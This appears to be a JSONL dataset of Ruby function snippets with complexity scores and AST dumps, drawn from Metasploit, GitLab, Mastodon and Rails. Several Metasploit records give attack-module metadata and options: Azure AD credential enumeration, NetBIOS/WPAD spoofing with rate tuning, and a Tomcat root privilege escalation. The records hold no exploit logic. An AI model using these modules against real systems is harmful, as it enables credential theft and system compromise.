\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STDERR\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to report exception \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]},null]}]}","id":"ebd24e15-dc31-49c2-8c09-66737fb4d046"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/azure_ad_login.rb","start_line":11,"raw_source":"def initialize\n    super(\n      'Name' => 'Microsoft Azure Active Directory Login Enumeration',\n      'Description' => %q{\n        This module enumerates valid usernames and passwords against a\n        Microsoft Azure Active Directory domain by utilizing a flaw in\n        how SSO authenticates.\n      },\n      'Author' => [\n        'Matthew Dunn - k0pak4'\n      ],\n      'License' => MSF_LICENSE,\n      'References' => [\n        [ 'URL', 'https://raxis.com/blog/metasploit-azure-ad-login'],\n        [ 'URL', 'https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/'],\n        [ 'URL', 'https://github.com/treebuilder/aad-sso-enum-brute-spray'],\n      ],\n      'DefaultOptions' => {\n        'RPORT' => 443,\n        'SSL' => true,\n        'RHOST' => 'autologon.microsoftazuread-sso.com',\n        'PASSWORD' => 'password'\n      }\n    )\n\n    register_options(\n      [\n        OptString.new('RHOST', [true, 'The target Azure endpoint', 'autologon.microsoftazuread-sso.com']),\n        OptString.new('DOMAIN', [true, 'The target Azure AD domain']),\n        OptString.new('TARGETURI', [ true, 'The base path to the Azure autologon endpoint', '/winauth/trust/2005/usernamemixed']),\n      ]\n    )\n\n    deregister_options('VHOST', 'USER_AS_PASS',\n                       'USERPASS_FILE', 'STOP_ON_SUCCESS', 'Proxies',\n                       'DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS',\n                       'BLANK_PASSWORDS', 'RHOSTS')\n  end","complexity_score":6.85,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Microsoft Azure Active Directory Login Enumeration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        This module enumerates valid usernames and passwords against a\\n\"]},{\"type\":\"str\",\"children\":[\"        Microsoft Azure Active Directory domain by utilizing a flaw in\\n\"]},{\"type\":\"str\",\"children\":[\"        how SSO authenticates.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Matthew Dunn - k0pak4\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://raxis.com/blog/metasploit-azure-ad-login\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/treebuilder/aad-sso-enum-brute-spray\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RHOST\"]},{\"type\":\"str\",\"children\":[\"autologon.microsoftazuread-sso.com\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"str\",\"children\":[\"password\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"RHOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The target Azure endpoint\"]},{\"type\":\"str\",\"children\":[\"autologon.microsoftazuread-sso.com\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DOMAIN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The target Azure AD domain\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to the Azure autologon endpoint\"]},{\"type\":\"str\",\"children\":[\"/winauth/trust/2005/usernamemixed\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"VHOST\"]},{\"type\":\"str\",\"children\":[\"USER_AS_PASS\"]},{\"type\":\"str\",\"children\":[\"USERPASS_FILE\"]},{\"type\":\"str\",\"children\":[\"STOP_ON_SUCCESS\"]},{\"type\":\"str\",\"children\":[\"Proxies\"]},{\"type\":\"str\",\"children\":[\"DB_ALL_CREDS\"]},{\"type\":\"str\",\"children\":[\"DB_ALL_PASS\"]},{\"type\":\"str\",\"children\":[\"DB_ALL_USERS\"]},{\"type\":\"str\",\"children\":[\"BLANK_PASSWORDS\"]},{\"type\":\"str\",\"children\":[\"RHOSTS\"]}]}]}]}","id":"a6a09c25-e603-4933-893b-2dc3be38cb20"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/smb/ui/console.rb","start_line":142,"raw_source":"def format_prompt(val)\n            if active_share\n              share_name = active_share.share[/[^\\\\].*$/, 0]\n              cwd = self.cwd.blank? ? '' : \"\\\\#{Rex::Ntpath.as_ntpath(self.cwd)}\"\n              prompt = \"#{share_name}#{cwd}\"\n            else\n              prompt = session.address.to_s\n            end\n\n            substitute_colors(\"%undSMB%clr (#{prompt}) > \", true)\n          end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"format_prompt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_share\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"share_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_share\"]},\"share\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^\\\\\\\\].*$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cwd\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cwd\"]},\"blank?\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Ntpath\"]},\"as_ntpath\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cwd\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prompt\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"share_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cwd\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prompt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"address\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[null,\"substitute_colors\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%undSMB%clr (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt\"]}]},{\"type\":\"str\",\"children\":[\") > \"]}]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"d834e752-500a-4767-867e-64612bbf13ff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/internal_helpers.rb","start_line":163,"raw_source":"def repository_path\n        if container\n          \"#{container.full_path}.git\"\n        elsif params[:project]\n          # When the project doesn't exist, we still need to pass on the path\n          # to support auto-creation in `GitAccessProject`.\n          #\n          # For consistency with the Git HTTP controllers, we normalize the path\n          # to remove a leading slash and ensure a trailing `.git`.\n          #\n          # NOTE: For GitLab Shell, `params[:project]` is the full repository path\n          # from the SSH command, with an optional trailing `.git`.\n          \"#{params[:project].delete_prefix('/').delete_suffix('.git')}.git\"\n        end\n      end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"repository_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"full_path\"]}]},{\"type\":\"str\",\"children\":[\".git\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"delete_suffix\",{\"type\":\"str\",\"children\":[\".git\"]}]}]},{\"type\":\"str\",\"children\":[\".git\"]}]},null]}]}]}","id":"fbedc06e-996c-4ff6-8234-d229f10313cd"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/process_account_service.rb","start_line":137,"raw_source":"def set_fetchable_key!\n    @account.public_key = public_key || ''\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_fetchable_key!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"public_key=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"public_key\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"8a6940af-164f-4f2e-8a27-a69baab0d3f3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/netbios/netbios_spoof.rb","start_line":9,"raw_source":"def initialize\n    super(\n      'Name' => 'NetBIOS Response Brute Force Spoof (Direct)',\n      'Description' => %q{\n          This module continuously spams NetBIOS responses to a target for given hostname,\n        causing the target to cache a malicious address for this name. On high-speed local\n        networks, the PPSRATE value should be increased to speed up this attack. As an\n        example, a value of around 30,000 is almost 100% successful when spoofing a\n        response for a 'WPAD' lookup. Distant targets may require more time and lower\n        rates for a successful attack.\n      },\n      'Author' => [\n        'vvalien',   # Metasploit Module (post)\n        'hdm',       # Metasploit Module\n        'tombkeeper' # Related Work\n      ],\n      'License' => MSF_LICENSE,\n    )\n\n    register_options(\n      [\n        Opt::RPORT(137),\n        OptString.new('NBNAME', [ true, 'The NetBIOS name to spoof a reply for', 'WPAD' ]),\n        OptAddress.new('NBADDR', [ true, 'The address that the NetBIOS name should resolve to', Rex::Socket.source_address('50.50.50.50') ]),\n        OptInt.new('PPSRATE', [ true, 'The rate at which to send NetBIOS replies', 1_000])\n      ],\n      self.class\n    )\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"NetBIOS Response Brute Force Spoof (Direct)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module continuously spams NetBIOS responses to a target for given hostname,\\n\"]},{\"type\":\"str\",\"children\":[\"        causing the target to cache a malicious address for this name. On high-speed local\\n\"]},{\"type\":\"str\",\"children\":[\"        networks, the PPSRATE value should be increased to speed up this attack. As an\\n\"]},{\"type\":\"str\",\"children\":[\"        example, a value of around 30,000 is almost 100% successful when spoofing a\\n\"]},{\"type\":\"str\",\"children\":[\"        response for a 'WPAD' lookup. Distant targets may require more time and lower\\n\"]},{\"type\":\"str\",\"children\":[\"        rates for a successful attack.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"vvalien\"]},{\"type\":\"str\",\"children\":[\"hdm\"]},{\"type\":\"str\",\"children\":[\"tombkeeper\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[137]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"NBNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The NetBIOS name to spoof a reply for\"]},{\"type\":\"str\",\"children\":[\"WPAD\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddress\"]},\"new\",{\"type\":\"str\",\"children\":[\"NBADDR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The address that the NetBIOS name should resolve to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"str\",\"children\":[\"50.50.50.50\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"PPSRATE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The rate at which to send NetBIOS replies\"]},{\"type\":\"int\",\"children\":[1000]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"3d24dee6-ae54-44d4-ad2d-8e3ffc979179"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/tomcat_ubuntu_log_init_priv_esc.rb","start_line":20,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apache Tomcat on Ubuntu Log Init Privilege Escalation',\n        'Description' => %q{\n          Tomcat (6, 7, 8) packages provided by default repositories on Debian-based\n          distributions (including Debian, Ubuntu etc.) provide a vulnerable\n          tomcat init script that allows local attackers who have already gained access\n          to the tomcat account (for example, by exploiting an RCE vulnerability\n          in a java web application hosted on Tomcat, uploading a webshell etc.) to\n          escalate their privileges from tomcat user to root and fully compromise the\n          target system.\n\n          Tested against Tomcat 8.0.32-1ubuntu1.1 on Ubuntu 16.04\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'h00die', # msf module\n          'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery\n        ],\n        'Platform' => [ 'linux' ],\n        'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PYTHON ],\n        'SessionTypes' => [ 'shell', 'meterpreter' ],\n        'Targets' => [[ 'Auto', {} ]],\n        'Privileged' => true,\n        'DefaultOptions' => {\n          'PrependFork' => true,\n          'WfsDelay' => 1800 # 30min\n        },\n        'References' => [\n          [ 'EDB', '40450' ],\n          [ 'URL', 'https://ubuntu.com/security/notices/USN-3081-1'],\n          [ 'URL', 'http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html'],\n          [ 'CVE', '2016-1240']\n        ],\n        'DisclosureDate' => '2016-09-30',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]\n        }\n      )\n    )\n    register_options [\n      OptString.new('CATALINA', [ true, 'Location of catalina.out file', '/var/log/tomcat8/catalina.out' ])\n    ]\n    register_advanced_options [\n      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),\n    ]\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Apache Tomcat on Ubuntu Log Init Privilege Escalation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Tomcat (6, 7, 8) packages provided by default repositories on Debian-based\\n\"]},{\"type\":\"str\",\"children\":[\"          distributions (including Debian, Ubuntu etc.) provide a vulnerable\\n\"]},{\"type\":\"str\",\"children\":[\"          tomcat init script that allows local attackers who have already gained access\\n\"]},{\"type\":\"str\",\"children\":[\"          to the tomcat account (for example, by exploiting an RCE vulnerability\\n\"]},{\"type\":\"str\",\"children\":[\"          in a java web application hosted on Tomcat, uploading a webshell etc.) to\\n\"]},{\"type\":\"str\",\"children\":[\"          escalate their privileges from tomcat user to root and fully compromise the\\n\"]},{\"type\":\"str\",\"children\":[\"          target system.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Tested against Tomcat 8.0.32-1ubuntu1.1 on Ubuntu 16.04\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die\"]},{\"type\":\"str\",\"children\":[\"Dawid Golunski <dawid@legalhackers.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PYTHON\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Auto\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PrependFork\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[1800]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"40450\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://ubuntu.com/security/notices/USN-3081-1\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2016-1240\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2016-09-30\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CATALINA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Location of catalina.out file\"]},{\"type\":\"str\",\"children\":[\"/var/log/tomcat8/catalina.out\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WritableDir\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A directory where we can write files\"]},{\"type\":\"str\",\"children\":[\"/tmp\"]}]}]}]}]}]}]}","id":"edaa6604-034e-4c33-8430-ce9bfdcf83c0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/i18n/po_linter.rb","start_line":160,"raw_source":"def validate_variables(errors, entry)\n        if entry.has_singular_translation?\n          validate_variables_in_message(errors, entry.msgid, entry.msgid)\n\n          validate_variables_in_message(errors, entry.msgid, entry.singular_translation)\n        end\n\n        if entry.has_plural?\n          validate_single_and_plural_variables(errors, entry)\n\n          entry.plural_translations.each do |translation|\n            validate_variables_in_message(errors, entry.plural_id, translation)\n          end\n        end\n      end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_variables\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"errors\"]},{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"has_singular_translation?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_variables_in_message\",{\"type\":\"lvar\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"msgid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"msgid\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_variables_in_message\",{\"type\":\"lvar\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"msgid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"singular_translation\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"has_plural?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_single_and_plural_variables\",{\"type\":\"lvar\",\"children\":[\"errors\"]},{\"type\":\"lvar\",\"children\":[\"entry\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"plural_translations\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"translation\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_variables_in_message\",{\"type\":\"lvar\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"plural_id\"]},{\"type\":\"lvar\",\"children\":[\"translation\"]}]}]}]},null]}]}]}","id":"b7b1ff4a-b787-4df2-9fd8-9af709e19430"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/about/about_command.rb","start_line":7,"raw_source":"def perform\n        boot_application!\n\n        say Rails::Info\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"boot_application!\"]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"Info\"]}]}]}]}","id":"4882a386-7f31-4d53-be66-87171580ae01"}
